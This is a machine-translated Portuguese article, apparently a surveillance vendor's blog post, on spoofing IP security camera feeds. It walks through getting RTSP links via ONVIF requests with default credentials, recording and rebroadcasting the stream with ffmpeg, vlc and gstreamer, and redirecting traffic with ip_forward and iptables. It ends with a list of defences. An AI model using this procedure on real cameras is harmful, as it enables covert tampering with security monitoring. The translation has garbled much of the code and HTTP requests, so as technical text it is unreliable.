Os fãs do filme Onze Amigos de Ocean devem ter reconhecido o quadro que escolhemos para ilustrar este artigo. O momento em que os caras durões habilmente substituíram o sinal analógico das câmeras de CFTV do cassino entrou na mente de muitos. Alguns até tentam fazer isso na vida real.

As tecnologias mudaram, agora as câmeras IP são preferidas às analógicas; os métodos para quebrá-las serão discutidos em detalhes posteriormente.
Se você não é paranóico, isso não significa que você não está sendo vigiado.
A maioria dos hackers faz isso por diversão ou para obter um pouco de fama na Internet. Eles usam "buracos" conhecidos nos sistemas de suporte a câmeras e postam, em sua opinião, vídeos engraçados em recursos populares da Internet. O YouTube está repleto de
vídeos semelhantes .
Consideraremos as conseqüências mais graves da vulnerabilidade, a saber, quando o cracker não se trai e sua penetração no sistema. Esse ataque geralmente é cuidadosamente planejado com antecedência, uma semana ou até um mês antes do hack.
Como em nosso exemplo sobre os onze amigos da Ocean, falaremos sobre a substituição de um fluxo em sistemas de vigilância por vídeo, não apenas um sinal analógico, mas digital, ou seja, um fluxo RTSP.
Como todas as informações neste artigo são de natureza informativa e têm como objetivo principal eliminar erros de segurança ao criar um sistema de vigilância por vídeo, não recomendamos o uso da vulnerabilidade, que será discutida mais adiante. É por isso que invadir a própria rede de vigilância por vídeo será considerado superficialmente e os métodos descritos envolvem acesso aberto à rede da empresa ou pessoa particular. Lembre-se de que o acesso não autorizado a dados pode ser processado.
A experiência de nossa empresa mostra que o tópico é muito relevante, pois na fase de comissionamento de um sistema de vigilância por vídeo, muitas pessoas conectam câmeras ao seu sistema usando links RTSP. Para economizar tempo, por ignorância ou por ter certeza de que é necessário, muitos nem pensam em alterar senhas ou em ver quais configurações de segurança sua câmera suporta.
A propósito, o RTSP (Real Time Streaming Protocol) é um protocolo que permite controlar o streaming de vídeo em tempo real. Tudo o que precisamos saber é que, com a ajuda do link RTSP, obteremos o fluxo de vídeo da câmera.
Finalmente, começamos a
praticar , a saber, o plano segundo o qual agiremos:
1. Obtendo o link RTSP para a câmera cujo fluxo queremos substituir.
2. Preparando o arquivo de vídeo para transmissão subsequente.
3. Transmita o arquivo gravado.
4. Proteção contra troca de fluxo secundário.
Obtendo o fluxo RTSP URI
Para substituir o sinal da câmera, primeiro você precisa encontrar o fluxo de vídeo que precisamos. Isso exigirá um link para ele através do protocolo RTSP. A câmera geralmente transmite várias imagens (alta e baixa resolução). O primeiro é usado para gravação e o segundo - para transmissão em telas de vigilância por vídeo. A resolução mínima (geralmente 320 por 240 pixels) reduz a carga no equipamento. Para cada fluxo RTSP, o link geralmente é distinguido por um dígito na chave.
Câmeras diferentes podem ter links RTSP diferentes, mas a visão geral é aproximadamente a seguinte:
rtsp: // [login: senha @] endereço IP: porta RTSP [/ key] .
A decodificação é a seguinte:
- login e senha - aqueles que são usados para acessar a câmera (podem não ser);
- se o link contiver o nome de usuário e a senha, o símbolo @ será indicado após eles para separar a autorização e o endereço IP;
- A porta RTSP através da qual os comandos de controle de streaming de vídeo são transmitidos é 554 por padrão;
- a chave é uma parte exclusiva do link RTSP, que pode variar dependendo do fabricante e modelo da câmera, por exemplo:
/? user = admin & password = admin & channel = number_number & stream = stream_number.sdp
/play1.sdp - em vez de "1", o número do fluxo é indicado;
/ live / ch00_0 00 - número do canal, 0 - número do fluxo;
/ channel1 - em vez de "1", o número do fluxo é indicado.
Como descobrir um link RTSP sem ter acesso à câmera? Algumas maneiras simples:
1. Encontre o link no site do fabricante da câmera.
2. Pesquise na Internet sites que forneçam links para diferentes modelos de câmera, um exemplo desses sites
aqui e
aqui .
3. Baixe o manual do usuário no site do fabricante e encontre as informações necessárias.
Nos casos em que nenhum dos métodos simples ajudou, há um pouco mais complicado. Aqui será necessário pelo menos acesso à rede em que a câmera está localizada. Como a maioria das câmeras modernas suporta ONVIF, podemos descobrir o link RTSP usando este protocolo.
Para fazer isso, envie várias solicitações sem autorização ou com autorização na câmera proposta por padrão, por exemplo, “admin: admin” ou “admin: 12345”. Aliás, na prática, havia câmeras que tinham um filtro de endereço IP válido e um login e senha não padrão, mas devido a erros no firmware ao acessar via protocolo ONVIF, nem a autorização nem o filtro foram verificados.
Como obter o link desejado para os dois fluxos da câmera via protocolo ONVIF?1. Usando o comando GetProfiles, descobrimos o nome do perfil cuja uri precisamos POST / onvif / media_service HTTP / 1.1
Anfitrião: 192.168.1.77
Agente do Usuário: gSOAP / 2.8
Tipo de Conteúdo: application / soap + xml; charset = utf-8; action = "http://www.onvif.org/ver10/media/wsdl/GetProfiles"
Comprimento do conteúdo: 2120
Conexão: keep-alive
SOAPAction: "http://www.onvif.org/ver10/media/wsdl/GetProfiles"
<? xml version = "1.0" encoding = "UTF-8"?>
<SOAP-ENV: xmlns de envelope: SOAP-ENV = "http://www.w3.org/2003/05/soap-envelope"
.
Pule a descrição de todo o espaço para nome.
.
xmlns: trt = "http://www.onvif.org/ver10/media/wsdl">
<SOAP-ENV: cabeçalho> </ SOAP-ENV: cabeçalho>
<SOAP-ENV: Corpo>
<trt: GetProfiles />
</ SOAP-ENV: Corpo>
</ SOAP-ENV: Envelope>
2. Na resposta longa recebida, encontramos uma linha com o nome do primeiro e do segundo perfil HTTP / 1.1 200 OK
Servidor: gSOAP / 2.8
Tipo de Conteúdo: application / soap + xml; charset = utf-8; action = "http://www.onvif.org/ver10/media/wsdl/GetProfiles"
Comprimento do conteúdo: 17405
Conexão: fechar
<? xml version = "1.0" encoding = "UTF-8"?>
<SOAP-ENV: xmlns de envelope: SOAP-ENV = "http://www.w3.org/2003/05/soap-envelope"
.
Pule a descrição de todo o espaço para nome.
.
xmlns: tns1 = "http://www.onvif.org/ver10/topics">
<SOAP-ENV: cabeçalho> </ SOAP-ENV: cabeçalho>
<SOAP-ENV: Corpo>
<trt: GetProfilesResponse>
<trt: Perfis corrigidos = token "true" = "profile_cam1_stream1">
<tt: Nome> profile_cam1_stream1 </ tt: Nome>
<tt: VideoSourceConfiguration token = "videosource_config_cam1">
<tt: Name> videosource_config_cam1 </ tt: Name>
.
Ignorar descrição do perfil.
.
</ trt: perfis>
<trt: Perfis corrigidos = token "true" = "profile_cam1_stream2">
<tt: Nome> profile_cam1_stream2 </ tt: Nome>
.
Ignoramos a descrição do segundo perfil.
.
</ trt: perfis>
.
Não consideramos o terceiro perfil.
.
</ trt: GetProfilesResponse>
</ SOAP-ENV: Corpo>
</ SOAP-ENV: Envelope>
- profile_cam1_stream1 é o nome do primeiro perfil na câmera.
- profile_cam1_stream2 é o nome do segundo perfil na câmera.
3. Agora você precisa solicitar a url rtsp para esses perfis usando o comando GetStreamUri, especificando o perfil desejado no campo ProfileToken Exemplo para o primeiro encadeamento:
POST / onvif / media_service HTTP / 1.1
Anfitrião: 192.168.1.77
Agente do Usuário: gSOAP / 2.8
Tipo de Conteúdo: application / soap + xml; charset = utf-8; action = "http://www.onvif.org/ver10/media/wsdl/GetStreamUri"
Comprimento do conteúdo: 2479
Conexão: keep-alive
SOAPAction: "http://www.onvif.org/ver10/media/wsdl/GetStreamUri"
<? xml version = "1.0" encoding = "UTF-8"?>
<SOAP-ENV: xmlns de envelope: SOAP-ENV = "http://www.w3.org/2003/05/soap-envelope"
.
Pule a descrição de todo o espaço para nome.
.
xmlns: trt = "http://www.onvif.org/ver10/media/wsdl">
<SOAP-ENV: cabeçalho> </ SOAP-ENV: cabeçalho>
<SOAP-ENV: Corpo>
<trt: GetStreamUri>
<trt: StreamSetup xsi: type = "tt: StreamSetup">
<tt: Stream xsi: type = "tt: StreamType"> RTP-Unicast </ tt: Stream>
<tt: Transporte xsi: type = "tt: Transporte">
<tt: Protocolo xsi: type = "tt: TransportProtocol"> UDP </ tt: Protocolo>
</ tt: Transporte>
</ trt: StreamSetup>
<trt: ProfileToken xsi: type = "tt: ReferenceToken"> profile_cam1_stream1 </ trt: ProfileToken>
</ trt: GetStreamUri>
</ SOAP-ENV: Corpo>
</ SOAP-ENV: Envelope>
Em resposta, obtemos o link necessário:
HTTP / 1.1 200 OK
Servidor: gSOAP / 2.8
Tipo de Conteúdo: application / soap + xml; charset = utf-8; action = "http://www.onvif.org/ver10/media/wsdl/GetStreamUri"
Comprimento do conteúdo: 3701
Conexão: fechar
<? xml version = "1.0" encoding = "UTF-8"?>
<SOAP-ENV: xmlns de envelope: SOAP-ENV = "http://www.w3.org/2003/05/soap-envelope"
.
Pule a descrição de todo o espaço para nome.
.
xmlns: tns1 = "http://www.onvif.org/ver10/topics">
<SOAP-ENV: cabeçalho> </ SOAP-ENV: cabeçalho>
<SOAP-ENV: Corpo>
<trt: GetStreamUriResponse>
<trt: MediaUri>
<tt: Uri> rtsp: //192.168.1.77: 554 / snl / live / 1/1 </ tt: Uri>
<tt: InvalidAfterConnect> false </ tt: InvalidAfterConnect>
<tt: InvalidAfterReboot> false </ tt: InvalidAfterReboot>
<tt: Tempo limite> PT0S </ tt: Tempo limite>
</ trt: MediaUri>
</ trt: GetStreamUriResponse>
</ SOAP-ENV: Corpo>
</ SOAP-ENV: Envelope>
Fazemos o mesmo para o segundo stream e obtemos o link:
<tt: Uri> rtsp: //192.168.1.77: 554 / snl / live / 1/2 </ tt: Uri>
Gravar fluxo RTSP no arquivo
Quando obtivemos os links rtsp necessários, precisamos gravar uma transmissão de vídeo com duração de várias horas. Não se esqueça que o dual-threading é usado em sistemas modernos, portanto, você precisa gravar os dois fluxos ao mesmo tempo.
Você pode gravar um fluxo de vídeo usando o protocolo RTSP usando vários softwares. Considere os mais populares:
ffmpeg, gstreamer e vlc .
1. Fluxo de gravação via ffmpeg $ man ffmpeg
Estamos interessados em:
- vcodec copy - copia vídeo para arquivo;
- cópia acodec - copiar áudio para um arquivo;
- rtsp_transport tcp - seleção de um método para transmitir um fluxo;
- 25 - definir a taxa de quadros por segundo;
- copyts - cópia de timestamps;
- start_at_zero - copia carimbos de data e hora a partir de 00: 00: 00: 000
Substituímos nosso link RTSP e, por meio de cópia, especificamos o caminho e o nome do arquivo para o qual o registro irá
% ffmpeg -i rtsp: //192.168.1.77: 554 / snl / live / 1/1 -copyts -start_at_zero -rtsp_transport tcp -r 25 -vcodec copy -acodec copy /home/line/example/1.avi

A gravação em um arquivo foi iniciada.
2. Gravação via vlc Você pode se familiarizar com o conjunto de comandos que o vlc media player nos oferece usando o comando
$ vlc –h.
Estamos interessados em:
- sout = # file {path} - aponte para o arquivo no qual queremos copiar o vídeo;
- rtsp-tcp - recebe rtsp por tcp;
- rtsp-frame-buffer-size = 1000 - buffer para que o vídeo não se desfaça durante a reprodução;
- h264-fps = 25 - complemento para 25 quadros.
Substitua nossos dados e execute
$ cvlc rtsp: //192.168.1.77: 554 / snl / live / 1/1 --rtsp-tcp --rtsp-frame-buffer-size = 1000 --h264-fps = 25: sout = # file {dst = /home/line/example/1.avi}.
A janela vlc será aberta e a gravação será iniciada; quando você fechar a janela, a gravação será interrompida.
3. Gravação através do gstreamer Informações sobre como trabalhar com o gstreamer podem ser encontradas <a href="https://gstreamer.freedesktop.org/documentation/plugins.html"> aqui </a>.
- rtspsrc location = "rtsp: //192.168.1.91: 554 / cam / realmonitor? Canal = 1 & subtipo = 0 & unicast = true & proto = Onvif" - especifique o fluxo RTSP como uma fonte de dados.
- rtph264depay - no vídeo RTSP ocorre em pedaços pequenos (pacotes rtp), através do rtph264depay, receberemos o vídeo desses pacotes.
- h264parse - como o nome indica, analise o fluxo H.264.
- avimux - colete o fluxo no avi, você também pode usar mp4mux ou matroskamux (mkv).
- localização do arquivo = 1.avi - especifique o arquivo no qual o vídeo será salvo.
gst-launch-1.0 -v rtspsrc location = "rtsp: //192.168.1.91: 554 / cam / realmonitor? channel = 1 & subttype = 0 & unicast = true & proto = Onvif"! rtph264depay! h264parse! mp4mux! local do arquivo = 1.mp4

Transmitir fluxo RTSP de um arquivo
É hora de começar a transmitir o arquivo gravado no formato RTSP. Para fazer isso, usaremos todos os mesmos programas discutidos na seção acima.
1. Para transmitir um fluxo de vídeo da câmera usando ffmpeg, você deve usar ffserver. Sua descrição pode ser encontrada
aqui . Para definir os parâmetros de conversão, é necessário
preencher o arquivo ffserver.conf.
ffserver Arquivo Ffserver.conf
RTSPPort - defina o número da porta rtsp pela qual a transmissão passará.
<Stream snl / live / 1/1> - após o Stream, definimos a chave necessária.
Formato rtp - formato de transmissão.
O arquivo "/home/line/example/1.avi" - rtsp_transport tcp - especifique o caminho para o arquivo que você deseja transferir e a chave para transferir via tcp.
NoAudio - não transmite som.
Arquivo Ffserver.conf
RTSPPort 554
<Transmissão snl / live / 1/1>
Formatar rtp
Arquivo "/home/line/example/1.avi" -rtsp_transport tcp
NoAudio
</Stream>
Em seguida, execute% ffserver -f ffserver.conf.

2. Agora vamos usar o vlc-media player. Apesar do fato de ser a maneira mais fácil, infelizmente, o vlc pode transmitir um fluxo apenas pelo UDP.
vlc media player Comando para iniciar o fluxo rtsp:
- sout = # rtp {sdp = rtsp: //192.168.1.232: 554 / snl / live / 1/1} - defina o link pelo qual a transmissão ocorrerá.
- repetir - se necessário, configure o vídeo para reproduzir repetidamente.
vlc /home/line/example/1.avi --sout = # rtp {sdp = rtsp: //192.168.1.232: 554 / snl / live / 1/1} - repetir
3. Finalmente, usando o gst-server.
gst-server Primeiro você precisa instalá-lo.
$ sudo apt-get install gstreamer1.0
$ wget https://gstreamer.freedesktop.org/src/gst-rtsp-server/gst-rtsp-server-1.8.3.tar.xz
/gst-rtsp-server-1.8.3$ sudo apt install gtk-doc-tools
/gst-rtsp-server-1.8.3$ sudo apt-get install libgstreamer-plugins-base1.0-dev
/gst-rtsp-server-1.8.3$ make
Agora podemos mudar o arquivo /gst-rtsp-server-1.8.3/examples/test-launch.c
Aqui você pode alterar a porta RTSP padrão
#define DEFAULT_RTSP_PORT "8554"
e a chave está no link
gst_rtsp_mount_points_add_factory (montagens, "/ test", fábrica).
Depois de substituir nossos valores, faremos.
Agora execute o arquivo de inicialização de teste com as chaves.
- rtspsrc location = "/ home / line / example / 1.avi" - o caminho para o arquivo que reproduziremos.
- Codificador H264 - codifique em h.264.
- rtph264pay name = pay0 pt = 96 - divida nosso fluxo em partes.
$ ~ / gst-rtsp-server-1.8.3 / examples $ ./test-launch "(localização do rtspsrc =" / home / linha / exemplo / 1.avi "! x264enc! nome do rtph264pay = pay0 pt = 96)"
O arquivo gravado é transmitido no formato RTSP, após o qual resolvemos o problema de falha da câmera. Abaixo estão algumas opções que variam dependendo do objeto que queremos atacar. De fato, existem muitas outras maneiras, considere apenas as mais básicas. A primeira coisa que precisamos é entrar na rede que precisamos.
Se o objeto é grande no território, muitas vezes há a oportunidade de abordar fisicamente algumas câmeras e até tentar encontrar o equipamento de comutação ao qual a câmera está conectada.
Se o objeto for pequeno, tente entrar na rede via wi-fi e digitalizá-lo usando o nmap, por exemplo.
Além disso, se houver acesso físico à câmera, você poderá invadi-la em várias etapas usando um computador de placa única:
1) habilitar a gravação wireshark;
2) desconecte brevemente o fio da câmera e conecte-o a uma única placa;
3) retorne o cabo ao seu lugar;
4) estude os logs recebidos.
Ou, se você tiver acesso à rede, poderá usar o método de substituição clássico:
- usando uma base de sustentação entre a câmera e o servidor;
- use ip_forward para encaminhar solicitações do servidor de vigilância para a câmera IP e vice-versa;
- o uso do iptables redireciona todas as solicitações via porta RTSP para o servidor de vigilância, não da câmera, mas da nossa máquina.
Hackeando câmeras de segurança
Para se proteger da falsificação de linhas de acordo com o procedimento descrito acima, vários métodos podem ser usados:
1. Integração de câmeraA maior proteção é fornecida pela integração da câmera em um produto de software. Verifique se a sua câmera está integrada
ao sistema de vigilância de linha aqui .
Se sua câmera ou fabricante não estiver listado, você pode entrar em contato com o
suporte técnico com uma solicitação para integrar seu modelo de câmera IP.
2. Atualização de firmwareÉ necessário manter constantemente o firmware da câmera atualizado, pois com a ajuda de atualizações, os desenvolvedores corrigem várias vulnerabilidades e, assim, aumentam a estabilidade das câmeras.
3. Alteração de logins e senhas padrãoA primeira coisa que um invasor faz é tentar usar o nome de usuário e a senha padrão da câmera. Eles são indicados nas instruções de uso, portanto, não é difícil encontrá-los. Portanto, sempre use um nome de usuário e senha exclusivos.
4. Habilitando a autorização obrigatóriaEsse recurso está presente em muitas câmeras modernas, mas, infelizmente, nem todos os usuários sabem disso. Se você desabilitar essa opção, a câmera não solicitará autorização quando estiver conectada, o que a tornará vulnerável a hackers. Vale ressaltar que existem câmeras com autorização dupla para acesso http e para acesso através do protocolo ONVIF. Além disso, em algumas câmeras, há uma configuração separada para solicitação de autorização ao conectar-se através de um link RTSP direto.
5. filtro de endereço IPSe a câmera suportar a função da chamada lista branca, é melhor não negligenciá-la. Com sua ajuda, é determinado o endereço IP a partir do qual você pode se conectar à câmera. Esse deve ser o endereço do servidor ao qual a câmera está conectada e, se necessário, o segundo endereço IP da estação de trabalho a partir da qual a configuração é feita. Mas esse não é o método mais confiável, pois um invasor pode usar o mesmo endereço IP ao substituir um dispositivo. Portanto, é melhor usar esta opção junto com outras recomendações.
6. proteção de redeÉ necessário configurar corretamente o equipamento de comutação. A maioria dos switches agora oferece suporte à proteção contra falsificação de arp - certifique-se de usar isso.
7. compartilhamento de redeVocê deve prestar atenção especial a este item, pois isso desempenha um papel importante na segurança do seu sistema. A separação da rede corporativa e da rede de vigilância o protegerá contra invasores ou mesmo de seus próprios funcionários que têm acesso à rede compartilhada e desejam invadir você.
8. Ligar o menu OSDVocê deve ativar o menu OSD com a hora e a data atuais na câmera para poder sempre verificar a relevância da imagem. Essa é uma boa maneira de se proteger contra a alteração da gravação, já que o OSD é sobreposto a todo o vídeo proveniente de uma câmera específica. Mesmo quando um invasor anota o fluxo RTSP, a falsificação será notada graças aos dados que ainda permanecerão nos quadros de vídeo.
Infelizmente, muitos invasores aprenderam a encontrar e tirar vantagem rapidamente das vulnerabilidades nos sistemas de vigilância por vídeo IP. Para proteger a rede, é necessário familiarizar-se com os métodos de proteção descritos neste artigo. Reserve tempo suficiente para o comissionamento do sistema e, em particular, para configurar corretamente todos os seus componentes. Assim, você pode fornecer à rede segurança máxima contra hackers.
Concluindo, sugerimos que você compartilhe nos comentários, como você abordaria a proteção da sua rede de vigilância por vídeo contra hackers? Quais métodos de ataque você considera os mais perigosos?